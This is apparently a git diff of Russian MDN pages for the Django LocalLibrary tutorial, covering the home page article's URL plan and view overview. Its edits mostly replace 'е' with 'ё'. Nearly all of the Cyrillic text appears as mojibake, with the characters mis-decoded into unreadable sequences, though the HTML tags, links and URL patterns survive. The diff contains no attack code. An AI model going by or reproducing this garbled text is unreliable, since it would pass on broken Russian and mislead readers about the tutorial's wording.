-<p>Π’ нашСй ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ Π½Π°ΡˆΡƒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ, ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚ΠΎΠ²,Β  ΠΈ Ρ‚Π°ΠΊ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ продСмонстрируСм Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, Ρ€Π°Π·Π³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ доступа, сСссии ΠΈΒ  Ρ„ΠΎΡ€ΠΌΡ‹.</p>
+<p>Π’ нашСй ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ Π½Π°ΡˆΡƒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ, ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚ΠΎΠ²,Β  ΠΈ Ρ‚Π°ΠΊ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ продСмонстрируСм Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, Ρ€Π°Π·Π³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ доступа, сСссии ΠΈΒ  Ρ„ΠΎΡ€ΠΌΡ‹.</p>
<h2 id="Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ_информация">Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ информация</h2>
<ul>
- <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">ВстроСнныС ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ классы отобраТСния</a> (Django docs)</li>
- <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-display/">ΠžΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π²ΠΈΠ΄ отобраТСния</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">ВстроСнныС ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ классы отобраТСния</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-display/">ΠžΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π²ΠΈΠ΄ отобраТСния</a> (Django docs)</li>
<li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/intro/">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² отобраТСния Π½Π° основС классов</a> (Django docs)</li>
<li><a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins">ВстроСнныС Ρ‚Π΅Π³ΠΈ шаблона ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹</a> (Django docs).</li>
<li><a href="https://docs.djangoproject.com/en/1.10/topics/pagination/">ΠŸΠΎΡΡ‚Ρ€Π°Π½ΠΈΡ‡Π½Ρ‹ΠΉ Π²Ρ‹Π²ΠΎΠ΄ (Pagination)</a> (Django docs)</li>
diff --git a/files/ru/learn/server-side/django/home_page/index.html b/files/ru/learn/server-side/django/home_page/index.html
index df43a891ae..c5b6f2bbea 100644
--- a/files/ru/learn/server-side/django/home_page/index.html
+++ b/files/ru/learn/server-side/django/home_page/index.html
@@ -17,7 +17,7 @@ translation_of: Learn/Server-side/Django/Home_page
<div>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</div>
-<p class="summary">Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ нашСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ страницы β€” домашняя страница сайта <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ количСство записСй Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ панСль с ссылками Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ страницы сайта. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΌΡ‹ ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Π΅ΠΌ практичСский Π½Π°Π²Ρ‹ΠΊ написания простых URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, получСния записСй ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ примСнСния шаблонов.</p>
+<p class="summary">Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ нашСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ страницы β€” домашняя страница сайта <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ количСство записСй Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ панСль с ссылками Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ страницы сайта. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΌΡ‹ ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Ρ‘ΠΌ практичСский Π½Π°Π²Ρ‹ΠΊ написания простых URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, получСния записСй ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ примСнСния шаблонов.</p>
<table class="learn-box standard-table">
<tbody>
@@ -36,17 +36,17 @@ translation_of: Learn/Server-side/Django/Home_page
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ наши ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈ создали нСсколько записСй Π² Π½ΠΈΡ…, ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. И ΠΏΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ ΠΊΠ°ΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π½Π° Π½Π°ΡˆΠΈΡ… страницах,Β  Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ URL-адрСса для получСния ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… рСсурсов. Π—Π°Ρ‚Π΅ΠΌ Π½Π°ΠΌ Π½Π°Π΄ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ url-прСобразования, отобраТСния (Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈΠ»ΠΈ классы), Π° Π·Π°Ρ‚Π΅ΠΌ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ страницы.Β </p>
-<p>Π”ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ°, прСдставлСнная Π½ΠΈΠΆΠ΅,Β  дСмонстрируСт Π³Π»Π°Π²Π½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ для управлСния HTTP запросами ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π°ΠΌΠΈ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ ΡƒΠΆΠ΅ создали модСль, Ρ‚ΠΎ Π½Π°ΠΌ остаСтся ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
+<p>Π”ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ°, прСдставлСнная Π½ΠΈΠΆΠ΅,Β  дСмонстрируСт Π³Π»Π°Π²Π½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ для управлСния HTTP запросами ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π°ΠΌΠΈ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ ΡƒΠΆΠ΅ создали модСль, Ρ‚ΠΎ Π½Π°ΠΌ остаётся ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<ul>
- <li>URL-прСобразования для ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΏΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ URL-адрСсу (с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠΉ Π² Π΄Π°Π½Π½ΠΎΠΌ адрСсС) ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния.</li>
+ <li>URL-прСобразования для ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΏΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ URL-адрСсу (с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠΉ Π² Π΄Π°Π½Π½ΠΎΠΌ адрСсС) ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния.</li>
<li>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния для запроса ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, созданиС страниц HTML для ΠΏΠΎΠΊΠ°Π·Π° этих Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΈΡ… ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Π² ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€).</li>
<li>Π¨Π°Π±Π»ΠΎΠ½Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ отобраТСниями для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° (отрисовки) Π΄Π°Π½Π½Ρ‹Ρ….</li>
</ul>
<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="display: block; margin: 0px auto;"></p>
-<p>Как Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅, Ρƒ нас Π±ΡƒΠ΄Π΅Ρ‚ 5 страниц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ опишСм Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅. Данная ΡΡ‚Π°Ρ‚ΡŒΡ, большСй Ρ‡Π°ΡΡ‚ΡŒΡŽ, Π±ΡƒΠ΄Π΅Ρ‚ сконцСнтрирована Π½Π° Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ всСго-лишь ΠΎΠ΄Π½ΠΎΠΉ, домашнСй страницы нашСго сайта (ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ страницам ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… частях руководства). Π­Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ прСдставлСниС ΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ с URL-прСобразованиями (связывании), отобраТСниями ΠΈ модСлями.</p>
+<p>Как Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅, Ρƒ нас Π±ΡƒΠ΄Π΅Ρ‚ 5 страниц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ опишСм Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅. Данная ΡΡ‚Π°Ρ‚ΡŒΡ, большСй Ρ‡Π°ΡΡ‚ΡŒΡŽ, Π±ΡƒΠ΄Π΅Ρ‚ сконцСнтрирована Π½Π° Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ всСго-лишь ΠΎΠ΄Π½ΠΎΠΉ, домашнСй страницы нашСго сайта (ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ страницам ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… частях руководства). Π­Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ прСдставлСниС ΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ с URL-прСобразованиями (связывании), отобраТСниями ΠΈ модСлями.</p>
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅ΠΌ_URL-адрСса_страниц">ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅ΠΌ URL-адрСса страниц</h2>
@@ -58,13 +58,13 @@ translation_of: Learn/Server-side/Django/Home_page
<li><code>catalog/</code> β€” Π”ΠΎΠΌΠ°ΡˆΠ½ΡΡ/индСксная страница.</li>
<li><code>catalog/books/</code> β€” Бписок всСх ΠΊΠ½ΠΈΠ³.</li>
<li><code>catalog/authors/</code>Β β€” Бписок всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ².</li>
- <li><code>catalog/book/<em>&lt;id&gt;</em></code>Β β€” Π”Π΅Ρ‚Π°Π»ΡŒΠ½Π°Ρ информация для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Ρ€Π°Π²Π½ΠΎΠ³ΠΎ <code><em>&lt;id&gt;</em></code>. НапримСр, <code>/catalog/book/3</code>, для <code>id = 3</code>.</li>
- <li><code>catalog/author/<em>&lt;id&gt;</em></code><em>Β </em>β€” Π”Π΅Ρ‚Π°Π»ΡŒΠ½Π°Ρ информация для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π°Π²Ρ‚ΠΎΡ€Π° со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Ρ€Π°Π²Π½ΠΎΠ³ΠΎ <em><code>&lt;id&gt;. </code></em>НапримСр, <code>/catalog/author/11</code>, для Π°Π²Ρ‚ΠΎΡ€Π° с <code>id = 11</code>.</li>
+ <li><code>catalog/book/<em>&lt;id&gt;</em></code>Β β€” Π”Π΅Ρ‚Π°Π»ΡŒΠ½Π°Ρ информация для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Ρ€Π°Π²Π½ΠΎΠ³ΠΎ <code><em>&lt;id&gt;</em></code>. НапримСр, <code>/catalog/book/3</code>, для <code>id = 3</code>.</li>
+ <li><code>catalog/author/<em>&lt;id&gt;</em></code><em>Β </em>β€” Π”Π΅Ρ‚Π°Π»ΡŒΠ½Π°Ρ информация для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π°Π²Ρ‚ΠΎΡ€Π° со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Ρ€Π°Π²Π½ΠΎΠ³ΠΎ <em><code>&lt;id&gt;. </code></em>НапримСр, <code>/catalog/author/11</code>, для Π°Π²Ρ‚ΠΎΡ€Π° с <code>id = 11</code>.</li>
</ul>
<p>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Ρ‚Ρ€ΠΈ URL-адрСса ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΏΠΎΠΊΠ°Π·Π° домашнСй страницы, Π° Ρ‚Π°ΠΊΠΆΠ΅ списков ΠΊΠ½ΠΈΠ³ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². Они Π½Π΅ ΠΊΠΎΠ΄ΠΈΡ€ΡƒΡŽΡ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΏΠΎΠΊΠ°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… страниц Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ находится Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…Β  ΠΈ, ΠΏΠΎ сути, Π±ΡƒΠ΄Π΅Ρ‚ всС врСмя ΠΎΠ΄Π½ΠΈΠΌ ΠΈ Ρ‚Π΅ΠΌ ΠΆΠ΅ (ΠΏΡ€ΠΈ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎΠΉ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ).</p>
-<p>ПослСдниС Π΄Π²Π° URL-адрСса ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ для ΠΏΠΎΠΊΠ°Π·Π° Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΊΠ½ΠΈΠ³Π΅, ΠΈΠ»ΠΈ Π°Π²Ρ‚ΠΎΡ€Π΅ β€” Π² сСбС ΠΎΠ½ΠΈ содСрТат ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° (ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΊΠ°ΠΊ <code><em>&lt;id&gt;</em></code>, Π²Ρ‹ΡˆΠ΅). URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π°Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π΅Π΅ Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ примСняСт Π΅Π΅ для запроса ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…. Для кодирования ΠΈ примСнСния Π΄Π°Π½Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² вашСм URL-адрСсС Π½Π°ΠΌ понадобится Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ url-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈ шаблон страницы для ΠΏΠΎΠΊΠ°Π·Π° любой ΠΊΠ½ΠΈΠ³ΠΈ (ΠΈΠ»ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°).Β </p>
+<p>ПослСдниС Π΄Π²Π° URL-адрСса ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ для ΠΏΠΎΠΊΠ°Π·Π° Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΊΠ½ΠΈΠ³Π΅, ΠΈΠ»ΠΈ Π°Π²Ρ‚ΠΎΡ€Π΅ β€” Π² сСбС ΠΎΠ½ΠΈ содСрТат ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° (ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΊΠ°ΠΊ <code><em>&lt;id&gt;</em></code>, Π²Ρ‹ΡˆΠ΅). URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π°Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π΅Ρ‘ Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ примСняСт Π΅Ρ‘ для запроса ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…. Для кодирования ΠΈ примСнСния Π΄Π°Π½Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² вашСм URL-адрСсС Π½Π°ΠΌ понадобится Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ 